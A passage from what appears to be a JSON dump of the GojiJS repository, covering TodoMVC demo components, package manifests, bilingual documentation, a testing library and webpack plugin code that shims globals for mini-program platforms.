10px 0;\n width: 100%;\n font-size: 100px;\n font-weight: 100;\n text-align: center;\n color: rgba(175, 47, 47, 0.15);\n -webkit-text-rendering: optimizeLegibility;\n -moz-text-rendering: optimizeLegibility;\n text-rendering: optimizeLegibility;\n background: #f5f5f5;\n}\n\n.container {\n background: #fff;\n margin: 0 0 40px 0;\n position: relative;\n box-shadow: 0 2px 4px 0 rgba(0, 0, 0, 0.2), 0 25px 50px 0 rgba(0, 0, 0, 0.1);\n}\n", "packages\\demo-todomvc\\src\\components\\MainSection.tsx": "import React from 'react';\nimport { useDispatch } from 'react-redux';\nimport { View } from '@goji/core';\nimport { Footer } from './Footer';\nimport { TodoList } from './TodoList';\nimport { addTodo } from '../duck/todo';\nimport styles from './MainSection.css';\nimport { TodoTextInput } from './TodoTextInput';\n\nexport const MainSection = () => {\n const dispatch = useDispatch();\n\n return (\n <View className={styles.container}>\n <View className={styles.todosHeader}>todos</View>\n <View className={styles.main}>\n <TodoTextInput\n onSave={(text: string) => {\n if (text.length !== 0) {\n dispatch(addTodo(text));\n }\n }}\n placeholder=\"What needs to be done?\"\n />\n <TodoList />\n <Footer />\n </View>\n </View>\n );\n};\n", "packages\\demo-todomvc\\src\\pages\\index\\index.tsx": "import React from 'react';\nimport { render } from '@goji/core';\nimport { createStore } from 'redux';\nimport { Provider } from 'react-redux';\nimport { MainSection } from '../../components/MainSection';\nimport { todoReducer } from '../../duck/todo';\n\nconst store = createStore(todoReducer);\n\nconst TodoList = () => (\n <Provider store={store}>\n <MainSection />\n </Provider>\n);\n\nrender(<TodoList />);\n", "packages\\demo-todomvc\\src\\swan-sitemap\\index.tsx": "import React from 'react';\nimport { render } from '@goji/core';\nimport { registerPluginComponent } from '@goji/macro';\n\nconst SwanSitemapList = registerPluginComponent(\n 'baidu',\n 'swan-sitemap-list',\n 'dynamicLib://swan-sitemap-lib/swan-sitemap-list',\n ['list-data', 'current-page', 'total-page', 'path'],\n);\n\nconst listData = [\n {\n title: 'GojiJS',\n path: '/packageA/pages/details?id=1',\n releaseDate: '2021-1-1 00-00-00',\n },\n {\n title: 'Powered by',\n path: '/packageA/pages/details?id=2',\n releaseDate: '2021-1-2 00-00-00',\n },\n {\n title: 'Airbnb',\n path: '/packageA/pages/details?id=3',\n releaseDate: '2021-1-3 00-00-00',\n },\n];\n\nrender(\n <SwanSitemapList\n listData={listData}\n currentPage={1}\n totalPage={500}\n path=\"/swan-sitemap/index\"\n />,\n);\n", "packages\\demo-todomvc-linaria\\package.json": "{\n \"name\": \"demo-todomvc-linaria\",\n \"version\": \"1.3.0\",\n \"description\": \"GojiJS Linaria Example\",\n \"main\": \"index.js\",\n \"repository\": \"git+https://github.com/airbnb/goji.git\",\n \"license\": \"MIT\",\n \"private\": true,\n \"scripts\": {\n \"jest\": \"jest --passWithNoTests\",\n \"typecheck\": \"tsc\",\n \"start\": \"goji start\",\n \"build\": \"goji build\"\n },\n \"dependencies\": {\n \"@goji/core\": \"^1.3.0\",\n \"classnames\": \"^2.2.6\",\n \"core-js\": \"^3.16.0\",\n \"linaria\": \"^2.3.0\",\n \"react\": \"^17.0.2\",\n \"react-redux\": \"^7.2.5\",\n \"redux\": \"^4.1.1\",\n \"tslib\": \"^2.3.0\"\n },\n \"devDependencies\": {\n \"@goji/cli\": \"^1.3.0\",\n \"@goji/testing-library\": \"^1.3.0\",\n \"@types/classnames\": \"^2.2.10\",\n \"@types/css-modules\": \"^1.0.0\",\n \"@types/react\": \"^17.0.31\",\n \"identity-obj-proxy\": \"^3.0.0\",\n \"react-dom\": \"^17.0.2\",\n \"typescript\": \"^4.3.5\"\n }\n}\n", "packages\\demo-todomvc-linaria\\src\\app.config.ts": "import { GojiTarget } from '@goji/core';\n\nexport default ({ target }: { target: GojiTarget }) => ({\n pages: ['pages/index/index'],\n window: {\n backgroundTextStyle: 'dark',\n navigationBarBackgroundColor: '#ffffff',\n backgroundColor: '#ffffff',\n navigationBarTitleText: `TodoMVC Example ${target}`,\n navigationBarTextStyle: 'black',\n },\n });\n", "packages\\demo-todomvc-linaria\\src\\app.css": "view {\n box-sizing: border-box;\n}\n", "packages\\demo-todomvc-linaria\\src\\app.ts": "import 'core-js/stable';\nimport './app.css';\n\nApp({\n onLaunch(options) {\n console.log('app onLaunch', options);\n },\n});\n", "packages\\demo-todomvc-linaria\\src\\components\\MainSection.tsx": "import React from 'react';\nimport { useDispatch } from 'react-redux';\nimport { View } from '@goji/core';\nimport { css } from 'linaria';\nimport { Footer } from './Footer';\nimport { TodoList } from './TodoList';\nimport { addTodo } from '../duck/todo';\nimport { TodoTextInput } from './TodoTextInput';\n\nconst main = css`\n z-index: 2;\n border-top: 1px solid #e6e6e6;\n font-size: 26rpx;\n`;\n\nconst todosHeader = css`\n padding: 10px 0;\n width: 100%;\n font-size: 203rpx;\n font-weight: 100;\n text-align: center;\n color: rgba(175, 47, 47, 0.15);\n -webkit-text-rendering: optimizeLegibility;\n -moz-text-rendering: optimizeLegibility;\n text-rendering: optimizeLegibility;\n background: #f5f5f5;\n`;\n\nconst container = css`\n background: #fff;\n margin: 0 0 40px 0;\n position: relative;\n box-shadow: 0 2px 4px 0 rgba(0, 0, 0, 0.2), 0 25px 50px 0 rgba(0, 0, 0, 0.1);\n`;\n\nexport const MainSection = () => {\n const dispatch = useDispatch();\n\n return (\n <View className={container}>\n <View className={todosHeader}>todos</View>\n <View className={main}>\n <TodoTextInput\n onSave={(text: string) => {\n if (text.length !== 0) {\n dispatch(addTodo(text));\n }\n }}\n placeholder=\"What needs to be done?\"\n />\n <TodoList />\n <Footer />\n </View>\n </View>\n );\n};\n", "packages\\demo-todomvc-linaria\\src\\pages\\index\\index.tsx": "import React from 'react';\nimport { render } from '@goji/core';\nimport { createStore } from 'redux';\nimport { Provider } from 'react-redux';\nimport { MainSection } from '../../components/MainSection';\nimport { todoReducer } from '../../duck/todo';\n\nconst store = createStore(todoReducer);\n\nconst TodoList = () => (\n <Provider store={store}>\n <MainSection />\n </Provider>\n);\n\nrender(<TodoList />);\n", "packages\\goji.js.org\\package.json": "{\n \"name\": \"goji-js-org\",\n \"version\": \"1.3.0\",\n \"private\": true,\n \"scripts\": {\n \"crowdin\": \"crowdin\",\n \"docusaurus\": \"docusaurus\",\n \"start\": \"docusaurus start\",\n \"build\": \"docusaurus build\",\n \"swizzle\": \"docusaurus swizzle\",\n \"deploy\": \"docusaurus deploy\",\n \"clear\": \"docusaurus clear\",\n \"serve\": \"docusaurus serve\",\n \"write-translations\": \"docusaurus write-translations\",\n \"write-heading-ids\": \"docusaurus write-heading-ids\",\n \"typecheck\": \"tsc\"\n },\n \"dependencies\": {\n \"@crowdin/cli\": \"3\",\n \"@docusaurus/core\": \"^2.4.3\",\n \"@docusaurus/preset-classic\": \"^2.4.3\",\n \"@mdx-js/react\": \"^1.6.22\",\n \"clsx\": \"^1.1.1\",\n \"prism-react-renderer\": \"^2.3.0\",\n \"react\": \"^17.0.2\",\n \"react-dom\": \"^17.0.2\"\n },\n \"devDependencies\": {\n \"@docusaurus/module-type-aliases\": \"^2.4.3\",\n \"@tsconfig/docusaurus\": \"^2.0.2\",\n \"typescript\": \"^4.6.3\"\n },\n \"browserslist\": {\n \"production\": [\n \">0.5%\",\n \"not dead\",\n \"not op_mini all\"\n ],\n \"development\": [\n \"last 1 chrome version\",\n \"last 1 firefox version\",\n \"last 1 safari version\"\n ]\n }\n}\n", "packages\\goji.js.org\\docs\\guide\\app.md": "---\nsidebar_position: 1\n---\n\n# App\n\n## App config\n\nEach Mini Program has an `app.json` as the main entry.\n\nHere is a demo of `app.json`.\n\n```json\n{\n \"pages\": [\"pages/index/index\", \"pages/benchmark/index\"],\n \"window\": {\n \"backgroundTextStyle\": \"dark\",\n \"navigationBarBackgroundColor\": \"#001935\",\n \"navigationBarTitleText\": \"Goji\",\n \"navigationBarTextStyle\": \"white\"\n }\n}\n```\n\nFor more fields, see\n[here](https://developers.weixin.qq.com/miniprogram/dev/reference/configuration/app.html) .\n\nIn addition, Goji provides a JavaScript-based config file called `app.config.js`. You can use it for\nbetter [cross-platform](./cross-platform.md) support.\n\n```js\nmodule.exports = ({ target }) => ({\n pages: ['pages/index/index', 'pages/benchmark/index'],\n window: {\n backgroundTextStyle: 'dark',\n navigationBarBackgroundColor: '#001935',\n navigationBarTitleText: `Goji on ${target}`,\n navigationBarTextStyle: 'white',\n },\n});\n```\n\n## App script\n\nSame as original\n[app.js](https://developers.weixin.qq.com/miniprogram/dev/framework/app-service/app.html). You can\nadd global polyfills in this file.\n\n```ts\nimport 'core-js';\n\nApp({});\n```\n", "packages\\goji.js.org\\i18n\\zh\\docusaurus-plugin-content-docs\\current\\guide\\app.md": "---\nsidebar_position: 1\n---\n\n# \u5165\u53e3\n\n## \u5e94\u7528\u914d\u7f6e\n\n\u6bcf\u4e00\u4e2a\u5c0f\u7a0b\u5e8f\u90fd\u62e5\u6709\u4e00\u4e2a`app.json`\u4f5c\u4e3a\u4e3b\u5165\u53e3\u3002\n\n\u8fd9\u91cc\u662f\u4e00\u4e2a `app.json` \u7684\u4f8b\u5b50\u3002\n\n```json\n{\n \"pages\": [\"pages/index/index\", \"pages/benchmark/index\"],\n \"window\": {\n \"backgroundTextStyle\": \"dark\",\n \"navigationBarBackgroundColor\": \"#001935\",\n \"navigationBarTitleText\": \"Goji\",\n \"navigationBarTextStyle\": \"white\"\n }\n}\n```\n\n\u66f4\u591a\u5b57\u6bb5\u8bf7\u89c1[\u8fd9\u91cc](https://developers.weixin.qq.com/miniprogram/dev/reference/configuration/app.html)\u3002\n\n\u6b64\u5916\uff0cGoji\u63d0\u4f9b\u4e86\u4e00\u79cd\u57fa\u4e8e JavaScript \u7684\u914d\u7f6e\u6587\u4ef6\uff0c\u540d\u4e3a `app.config.js`\u3002 \u60a8\u53ef\u4ee5\u4f7f\u7528\u5b83\u83b7\u5f97\u66f4\u597d\u7684 [\u8de8\u5e73\u53f0](./cross-platform.md) \u652f\u6301\u3002\n\n```js\nmodule.exports = ({ target }) => ({\n pages: ['pages/index/index', 'pages/benchmark/index'],\n window: {\n backgroundTextStyle: 'dark',\n navigationBarBackgroundColor: '#001935',\n navigationBarTitleText: `Goji on ${target}`,\n navigationBarTextStyle: 'white',\n },\n});\n```\n\n## \u5e94\u7528\u4ee3\u7801\n\n\u4e0e\u539f\u751f\u7684[app.js](https://developers.weixin.qq.com/miniprogram/dev/framework/app-service/app.html) \u76f8\u540c\u3002 \u60a8\u53ef\u4ee5\u5728\u8fd9\u4e2a\u6587\u4ef6\u6dfb\u52a0\u5168\u5c40polyfills\u3002\n\n```ts\nimport 'core-js';\n\nApp({});\n```\n", "packages\\goji.js.org\\src\\components\\HomepageFeatures\\index.tsx": "import React from 'react';\nimport clsx from 'clsx';\nimport { translate } from '@docusaurus/Translate';\nimport styles from './styles.module.css';\n\ntype FeatureItem = {\n title: string;\n Svg: React.ComponentType<React.ComponentProps<'svg'>>;\n description: JSX.Element;\n};\n\nconst FeatureList: FeatureItem[] = [\n {\n title: translate({ message: 'Fully supporting React', id: \"home.info.react.title\"}),\n Svg: require('@site/static/img/undraw_react.svg').default,\n description: (\n <>\n {translate({ message: 'Including React hooks / render props / HOC', id: \"home.info.react.title.subtitle\"})}\n </>\n ),\n },\n {\n title: translate({ message: 'Crossing platforms', id: \"home.info.cross-platform.title\"}),\n Svg: require('@site/static/img/undraw_operating_system.svg').default,\n description: (\n <>\n {translate({ message: 'WeChat / Alipay / Baidu / QQ / Toutiao', id: \"home.info.cross-platform.subtitle\"})}\n </>\n ),\n },\n];\n\nfunction Feature({title, Svg, description}: FeatureItem) {\n return (\n <div className={clsx('col col--6')}>\n <div className=\"text--center\">\n <Svg className={styles.featureSvg} role=\"img\" />\n </div>\n <div className=\"text--center padding-horiz--md\">\n <h3>{title}</h3>\n <p>{description}</p>\n </div>\n </div>\n );\n}\n\nexport default function HomepageFeatures(): JSX.Element {\n return (\n <section className={styles.features}>\n <div className=\"container\">\n <div className=\"row\">\n {FeatureList.map((props, idx) => (\n <Feature key={idx} {...props} />\n ))}\n </div>\n </div>\n </section>\n );\n}\n", "packages\\goji.js.org\\src\\pages\\index.module.css": "/**\n * CSS files with the .module.css suffix will be treated as CSS modules\n * and scoped locally.\n */\n\n.heroBanner {\n padding: 4rem 0;\n text-align: center;\n position: relative;\n overflow: hidden;\n}\n\n@media screen and (max-width: 996px) {\n .heroBanner {\n padding: 2rem;\n }\n}\n\n.buttons {\n display: flex;\n align-items: center;\n justify-content: center;\n}\n", "packages\\goji.js.org\\src\\pages\\index.tsx": "import React from 'react';\nimport clsx from 'clsx';\nimport Layout from '@theme/Layout';\nimport Link from '@docusaurus/Link';\nimport useDocusaurusContext from '@docusaurus/useDocusaurusContext';\nimport { translate } from '@docusaurus/Translate';\nimport styles from './index.module.css';\nimport HomepageFeatures from '@site/src/components/HomepageFeatures';\n\nfunction HomepageHeader() {\n const { siteConfig } = useDocusaurusContext();\n return (\n <header className={clsx('hero hero--primary', styles.heroBanner)}>\n <div className=\"container\">\n <h1 className=\"hero__title\">{siteConfig.title}</h1>\n <p className=\"hero__subtitle\">{siteConfig.tagline}</p>\n <div className={styles.buttons}>\n <Link className=\"button button--secondary button--lg\" to=\"/docs/get-started/introduction\">\n {translate({\n message: 'GET STARTED',\n id: 'home.button',\n description: 'home main button',\n })}\n </Link>\n </div>\n </div>\n </header>\n );\n}\n\nexport default function Home(): JSX.Element {\n const { siteConfig } = useDocusaurusContext();\n return (\n <Layout title=\"React \u2764\ufe0f Mini Program\" description=\"GojiJS \u00b7 React \u2764\ufe0f Mini Program\">\n <HomepageHeader />\n <main>\n <HomepageFeatures />\n </main>\n </Layout>\n );\n}\n", "packages\\macro\\package.json": "{\n \"name\": \"@goji/macro\",\n \"version\": \"1.3.0\",\n \"description\": \"GojiJS binding for babel-plugin-macros\",\n \"main\": \"dist/cjs/index.js\",\n \"module\": \"dist/esm/index.js\",\n \"private\": false,\n \"scripts\": {\n \"prebuild\": \"npm run clean\",\n \"clean\": \"rimraf dist\",\n \"start\": \"tsc -watch\",\n \"build\": \"npm run build:esm && npm run build:cjs\",\n \"build:esm\": \"tsc --module esnext --outDir dist/esm\",\n \"build:cjs\": \"tsc --module commonjs --outDir dist/cjs\",\n \"prepublishOnly\": \"npm run build\"\n },\n \"repository\": \"git+https://github.com/airbnb/goji.git\",\n \"license\": \"MIT\",\n \"keywords\": [\n \"babel-plugin-macros\"\n ],\n \"dependencies\": {\n \"@babel/types\": \"^7.15.0\",\n \"babel-plugin-macros\": \"^3.1.0\",\n \"tslib\": \"^2.3.0\"\n },\n \"devDependencies\": {\n \"@goji/core\": \"^1.3.0\",\n \"@goji/webpack-plugin\": \"^1.3.0\",\n \"@types/babel-plugin-macros\": \"^2.8.5\",\n \"react\": \"^17.0.2\"\n },\n \"peerDependencies\": {\n \"@babel/core\": \"*\",\n \"@goji/core\": \"*\",\n \"@goji/webpack-plugin\": \"*\",\n \"react\": \"*\"\n }\n}\n", "packages\\macro\\src\\index.ts": "/* eslint-disable import/no-import-module-exports */\nimport React from 'react';\nimport { GojiTarget } from '@goji/core';\nimport { createMacro } from 'babel-plugin-macros';\nimport { PropDesc } from '@goji/webpack-plugin/dist/cjs/constants/components';\nimport { processRegisterPluginComponent } from './registerPluginComponent';\n\nconst macro = createMacro(\n ({ references, config }) => {\n processRegisterPluginComponent(config, references.registerPluginComponent);\n },\n { configName: 'gojiMacro' },\n);\n\nmodule.exports = macro;\n\nexport declare function registerPluginComponent(\n target: GojiTarget,\n name: string,\n path: string,\n props: Array<string | [string, PropDesc]>,\n): React.FunctionComponent<any>;\n", "packages\\testing-library\\package.json": "{\n \"name\": \"@goji/testing-library\",\n \"version\": \"1.3.0\",\n \"description\": \"GojiJS Testing Library\",\n \"main\": \"dist/cjs/index.js\",\n \"scripts\": {\n \"prebuild\": \"npm run clean\",\n \"clean\": \"rimraf dist\",\n \"start\": \"tsc -watch\",\n \"build\": \"npm run build:esm && npm run build:cjs\",\n \"build:esm\": \"tsc --module esnext --outDir dist/esm\",\n \"build:cjs\": \"tsc --module commonjs --outDir dist/cjs\",\n \"prepublishOnly\": \"npm run build\"\n },\n \"dependencies\": {\n \"lodash\": \"^4.17.15\",\n \"pretty-format\": \"^27.4.2\",\n \"react-test-renderer\": \"^17.0.2\",\n \"tslib\": \"^2.0.3\",\n \"wait-for-expect\": \"^3.0.2\"\n },\n \"peerDependencies\": {\n \"@goji/core\": \"*\",\n \"react\": \"*\"\n },\n \"devDependencies\": {\n \"@goji/core\": \"^1.3.0\",\n \"@types/lodash\": \"^4.14.172\",\n \"@types/react-test-renderer\": \"^17.0.1\",\n \"react\": \"^17.0.2\"\n },\n \"repository\": {\n \"type\": \"git\",\n \"url\": \"git+https://github.com/airbnb/goji.git\"\n },\n \"keywords\": [],\n \"author\": \"\",\n \"license\": \"MIT\",\n \"bugs\": {\n \"url\": \"https://github.com/airbnb/goji/issues\"\n },\n \"homepage\": \"https://github.com/airbnb/goji#readme\",\n \"publishConfig\": {\n \"access\": \"public\"\n },\n \"gitHead\": \"6b5e09e727c913f4f62dcba87df0ee2332e65099\"\n}\n", "packages\\testing-library\\src\\index.ts": "import { ReactElement } from 'react';\nimport { act, create, ReactTestRenderer } from 'react-test-renderer';\nimport { buildRenderResult } from './rendered';\n\nexport const render = (element: ReactElement) => {\n let testRenderer: ReactTestRenderer;\n\n act(() => {\n testRenderer = create(element);\n });\n\n return buildRenderResult(testRenderer!.root);\n};\n\nexport { act };\nexport { fireEvent } from './events';\nexport { waitFor, waitForElement } from './wait';\nexport { getQueriesForElement as within } from './rendered';\n", "packages\\testing-library\\src\\__tests__\\index.test.tsx": "import React from 'react';\nimport { View, Button, Text, Input } from '@goji/core';\nimport { fireEvent, render, waitFor } from '..';\n\nconst Example = () => {\n const [name, setUser] = React.useState('');\n const [show, setShow] = React.useState(false);\n\n return (\n <View>\n <Input value={name} onInput={e => setUser(e.detail.value)} testID=\"input\" />\n <Button\n onTap={() => {\n // let's pretend this is making a server request, so it's async\n // (you'd want to mock this imaginary request in your unit tests)...\n setTimeout(() => {\n setShow(!show);\n }, Math.floor(Math.random() * 200));\n }}\n >\n Print Username\n </Button>\n {show && <Text testID=\"printed-username\">{name}</Text>}\n </View>\n );\n};\n\ntest('examples of some things', async () => {\n jest.setTimeout(10000);\n const { getByTestId, getByText, queryByTestId, findByTestId } = render(<Example />);\n const famousWomanInHistory = 'Ada Lovelace';\n\n const input = getByTestId('input');\n expect(input).toBeTruthy();\n fireEvent.input(input, famousWomanInHistory);\n\n const button = getByText('Print Username');\n expect(button).toBeTruthy();\n fireEvent.tap(button);\n\n await waitFor(() => expect(queryByTestId('printed-username')).toBeTruthy());\n expect(await findByTestId('printed-username')).toBeTruthy();\n\n expect(getByTestId('printed-username').props.children).toBe(famousWomanInHistory);\n});\n", "packages\\webpack-plugin\\package.json": "{\n \"name\": \"@goji/webpack-plugin\",\n \"version\": \"1.3.0\",\n \"description\": \"GojiJS Webpack Plugin\",\n \"main\": \"dist/cjs/index.js\",\n \"module\": \"dist/esm/index.js\",\n \"scripts\": {\n \"prebuild\": \"npm run clean\",\n \"clean\": \"rimraf dist\",\n \"start\": \"tsc --watch\",\n \"build\": \"npm run build:esm && npm run build:cjs\",\n \"build:esm\": \"tsc --module esnext --outDir dist/esm\",\n \"build:cjs\": \"tsc --module commonjs --outDir dist/cjs\",\n \"prepublishOnly\": \"npm run build\"\n },\n \"devDependencies\": {\n \"@goji/core\": \"^1.3.0\",\n \"@types/common-tags\": \"^1.8.1\",\n \"@types/enhanced-resolve\": \"^3.0.7\",\n \"@types/find-cache-dir\": \"^3.2.1\",\n \"@types/html-minifier\": \"^4.0.1\",\n \"@types/loader-utils\": \"^2.0.3\",\n \"@types/lodash\": \"^4.14.172\",\n \"@types/node\": \"^17.0.0\",\n \"find-cache-dir\": \"^3.3.2\",\n \"rimraf\": \"^3.0.0\",\n \"typescript\": \"^4.3.5\",\n \"utility-types\": \"^3.10.0\",\n \"vscode-ripgrep\": \"^1.12.1\",\n \"webpack\": \"^5.89.0\"\n },\n \"dependencies\": {\n \"common-tags\": \"^2.0.0-alpha.1\",\n \"copy-webpack-plugin\": \"^9.1.0\",\n \"deepmerge\": \"^4.2.2\",\n \"enhanced-resolve\": \"^5.8.2\",\n \"escape-string-regexp\": \"^4.0.0\",\n \"html-minifier\": \"^4.0.0\",\n \"json5\": \"^2.2.2\",\n \"loader-utils\": \"^3.2.0\",\n \"lodash\": \"^4.17.15\",\n \"posthtml\": \"^0.16.5\",\n \"posthtml-parser\": \"^0.10.1\",\n \"terser\": \"^5.14.2\",\n \"tslib\": \"^2.3.0\"\n },\n \"peerDependencies\": {\n \"@goji/core\": \"*\",\n \"webpack\": \">=5\"\n },\n \"repository\": {\n \"type\": \"git\",\n \"url\": \"git+https://github.com/airbnb/goji.git\"\n },\n \"keywords\": [],\n \"author\": \"\",\n \"license\": \"MIT\",\n \"bugs\": {\n \"url\": \"https://github.com/airbnb/goji/issues\"\n },\n \"homepage\": \"https://github.com/airbnb/goji#readme\",\n \"publishConfig\": {\n \"access\": \"public\"\n },\n \"gitHead\": \"6b5e09e727c913f4f62dcba87df0ee2332e65099\"\n}\n", "packages\\webpack-plugin\\src\\index.ts": "import webpack from 'webpack';\nimport { GojiBridgeWebpackPlugin } from './plugins/bridge';\nimport { GojiEntryWebpackPlugin } from './plugins/entry';\nimport { GojiRuntimePlugin } from './plugins/runtime';\nimport { GojiWebpackPluginOptions, GojiWebpackPluginRequiredOptions } from './types';\nimport { GojiSingletonRuntimeWebpackPlugin } from './plugins/singleton';\nimport { GojiShimPlugin } from './plugins/shim';\nimport { getPoll } from './utils/polling';\nimport { GojiProjectConfigPlugin } from './plugins/projectConfig';\nimport { GojiCollectUsedComponentsWebpackPlugin } from './plugins/collectUsedComponents';\nimport { getWrappedComponents } from './constants/components';\nimport { registerPluginComponent } from './utils/pluginComponent';\nimport { GojiSplitChunksWebpackPlugin } from './plugins/chunks/split';\nimport { GojiRuntimeChunksWebpackPlugin } from './plugins/chunks/runtime';\nimport { GojiNohoistWebpackPlugin } from './plugins/nohoist';\n\nexport class GojiWebpackPlugin implements webpack.WebpackPluginInstance {\n public static normalizeOptions(\n options: GojiWebpackPluginOptions,\n ): GojiWebpackPluginRequiredOptions {\n const nodeEnv = options.nodeEnv ?? process.env.NODE_ENV ?? 'development';\n\n return {\n target: options.target,\n nodeEnv,\n maxDepth: options.maxDepth ?? 5,\n minimize: options.minimize ?? nodeEnv !== 'development',\n nohoist: {\n enable: options?.nohoist?.enable ?? true,\n maxPackages: options?.nohoist?.maxPackages ?? 1,\n test: options?.nohoist?.test,\n },\n };\n }\n\n private options: GojiWebpackPluginRequiredOptions;\n\n public constructor(options: GojiWebpackPluginOptions) {\n this.options = GojiWebpackPlugin.normalizeOptions(options);\n }\n\n public apply(compiler: webpack.Compiler) {\n const { options } = this;\n new webpack.DefinePlugin({\n 'process.env.TARGET': JSON.stringify(options.target),\n 'process.env.GOJI_TARGET': JSON.stringify(options.target),\n 'process.env.GOJI_MAX_DEPTH': JSON.stringify(options.maxDepth),\n 'process.env.GOJI_WRAPPED_COMPONENTS': JSON.stringify(getWrappedComponents(options.target)),\n }).apply(compiler);\n new GojiCollectUsedComponentsWebpackPlugin(options).apply(compiler);\n new GojiBridgeWebpackPlugin(options).apply(compiler);\n new GojiEntryWebpackPlugin(options).apply(compiler);\n new GojiSplitChunksWebpackPlugin(options).apply(compiler);\n new GojiRuntimeChunksWebpackPlugin(options).apply(compiler);\n new GojiNohoistWebpackPlugin(options).apply(compiler);\n new GojiRuntimePlugin(options).apply(compiler);\n new GojiSingletonRuntimeWebpackPlugin(options).apply(compiler);\n new GojiShimPlugin(options).apply(compiler);\n new GojiProjectConfigPlugin(options).apply(compiler);\n }\n\n public static getPoll = getPoll;\n\n // eslint-disable-next-line camelcase\n public static internal_registerPluginComponent = registerPluginComponent;\n}\n\nexport { GojiWebpackPluginOptions };\n", "packages\\webpack-plugin\\src\\plugins\\shim\\index.ts": "import webpack from 'webpack';\nimport path from 'path';\nimport escapeStringRegexp from 'escape-string-regexp';\nimport { GojiBasedWebpackPlugin } from '../based';\nimport { PatchedProvidePlugin as ProvidePlugin } from '../../forked/providePlugin';\nimport * as meta from './meta';\nimport { getApiVariableDefinitions } from './variable';\n\nexport class GojiShimPlugin extends GojiBasedWebpackPlugin {\n public apply(compiler: webpack.Compiler) {\n const provides: Record<\n string,\n | string\n | [string, string]\n | { module: string | [string, string]; exclude?: string | RegExp | Array<string | RegExp> }\n > = {};\n const definitions: Record<string, string> = {};\n const patchGlobalVariable = (\n variableName: string,\n moduleName: string,\n propertyName: string | undefined,\n isUndefined: boolean,\n ) => {\n if (isUndefined) {\n // use DefinePlugin for less bundle size\n definitions[variableName] = 'undefined';\n } else {\n provides[variableName] = {\n module: propertyName\n ? [require.resolve(moduleName), propertyName]\n : require.resolve(moduleName),\n // this is not a standard usage so I forked the `ProvidePlugin`\n exclude: [\n // exclude all patches\n new RegExp(escapeStringRegexp(path.join(__dirname, 'patches'))),\n ],\n };\n }\n };\n\n // patch global variables like `globalThis`, `self`, `global`\n // `Function('return this')` will be patched in `patches/function`\n // ref: https://github.com/zloirock/core-js/blob/76d9bf50b1b15439366af92885c5a7a1d0ad61c6/packages/core-js/internals/global.js\n patchGlobalVariable('globalThis', path.resolve(__dirname, './global'), undefined, false);\n patchGlobalVariable('self', path.resolve(__dirname, './global'), undefined, false);\n patchGlobalVariable('global', path.resolve(__dirname, './global'), undefined, false);\n\n // patch each global variables\n for (const variableName of meta.patchedVariables) {\n patchGlobalVariable(variableName, path.resolve(__dirname, './patches'), variableName, false);\n }\n for (const variableName of meta.undefinedVariables) {\n patchGlobalVariable(variableName, path.resolve(__dirname, './patches'), variableName, true);\n }\n\n new ProvidePlugin(provides).apply(compiler);\n new webpack.DefinePlugin({\n ...definitions,\n ...getApiVariableDefinitions(this.options.target),\n }).apply(compiler);\n }\n}\n", "packages\\webpack-plugin\\src\\plugins\\shim\\patches\\index.ts": "// TODO: remember to also edit `meta.ts` if this file changes\n// the `meta.ts` is used for compiling and the `patches/index.ts` is used for runtime\n\n// don't use ES module\n// 1. to prevent `__esModule` been generated\n// 2. to prevent `tslib` dependency. Using `import xx from 'xx'` makes `tslib` been require by patches\n// and then ProvidePlugin will re-patch `tslib` and cause unexpected results.\nmodule.exports = {\n /* eslint-disable global-require */\n Function: require('./function'),\n Promise: require('./promise'),\n String: require('./string'),\n Array: require('./array'),\n ArrayBuffer: require('./arrayBuffer'),\n Number: require('./number'),\n getCurrentPages: require('./getCurrentPages'),\n /* eslint-enable global-require */\n\n // these variables should be reset otherwise some 3rd party libraries will fail\n // FIXME: how to get the full list and should we patch all of them ?\n // `Object.getOwnPropertyNames(window) - Object.getOwnPropertyNames(global))` might work but it's too big\n\n // fix many libraries like react https://github.com/facebook/react/blob/master/packages/shared/ExecutionEnvironment.js#L10-L14\n window: undefined,\n\n // fix react https://github.com/facebook/react/blob/3e94bce765d355d74f6a60feb4addb6d196e3482/packages/scheduler/src/forks/SchedulerHostConfig.default.js#L24\n MessageChannel: undefined,\n\n // fix core-js https://github.com/zloirock/core-js/blob/76d9bf50b1b15439366af92885c5a7a1d0ad61c6/packages/core-js/internals/microtask.js#L7\n MutationObserver: undefined,\n WebKitMutationObserver: undefined,\n};\n", "packages\\webpack-plugin\\src\\plugins\\__tests__\\fixtures\\hoist\\src\\app.config.ts": "export default () => ({\n pages: ['pages/index/index'],\n subPackages: [\n {\n name: 'packageA',\n root: 'packageA',\n pages: ['pages/index', 'pages/another'],\n },\n {\n name: 'packageB',\n root: 'packageB',\n pages: ['pages/index', 'pages/another'],\n },\n {\n name: 'packageIndependent',\n root: 'packageIndependent',\n pages: ['pages/index', 'pages/another'],\n independent: true,\n },\n ],\n});\n", "packages\\webpack-plugin\\src\\plugins\\__tests__\\fixtures\\hoist\\src\\app.ts": "import './app.css';\n", "packages\\webpack-plugin\\src\\plugins\\__tests__\\fixtures\\hoist\\src\\packageA\\pages\\index.tsx": "import './index.css';\nimport { sharedABI } from '../../packageB/pages/sharedABI';\nimport { sharedTop } from '../../sharedTop';\nimport { sharedA } from './sharedAB';\nimport { internalA } from './internalA';\n\nsharedA();\nsharedABI();\nsharedTop();\ninternalA();\n", "packages\\webpack-plugin\\src\\plugins\\__tests__\\fixtures\\hoist\\src\\packageB\\pages\\index.tsx": "import './index.css';\nimport { sharedTop } from '../../sharedTop';\nimport { sharedA } from '../../packageA/pages/sharedAB';\nimport { sharedABI } from './sharedABI';\n\nsharedA();\nsharedABI();\nsharedTop();\n", "packages\\webpack-plugin\\src\\plugins\\__tests__\\fixtures\\hoist\\src\\packageIndependent\\pages\\index.tsx": "import './index.css';\nimport { sharedTop } from '../../sharedTop';\nimport { sharedI } from './sharedI';\nimport { sharedABI } from '../../packageB/pages/sharedABI';\n\nsharedABI();\nsharedI();\nsharedTop();\n", "packages\\webpack-plugin\\src\\plugins\\__tests__\\fixtures\\hoist\\src\\pages\\index\\index.tsx": "import './index.css';\nimport { sharedOnlyTop } from '../../sharedOnlyTop';\nimport { sharedTop } from '../../sharedTop';\n\nsharedTop();\nsharedOnlyTop();\n", "packages\\webpack-plugin\\src\\shared\\index.ts": "import webpack from 'webpack';\nimport { AppConfig } from '../types';\n\nexport const appConfigMap = new WeakMap<webpack.Compiler, AppConfig>();\nexport const appEntryMap = new WeakMap<webpack.Compiler, string>();\nexport const pathEntriesMap = new WeakMap<webpack.Compiler, Array<string>>();\nexport const usedComponentsMap = new WeakMap<webpack.Compilation, Array<string> | undefined>();\n", 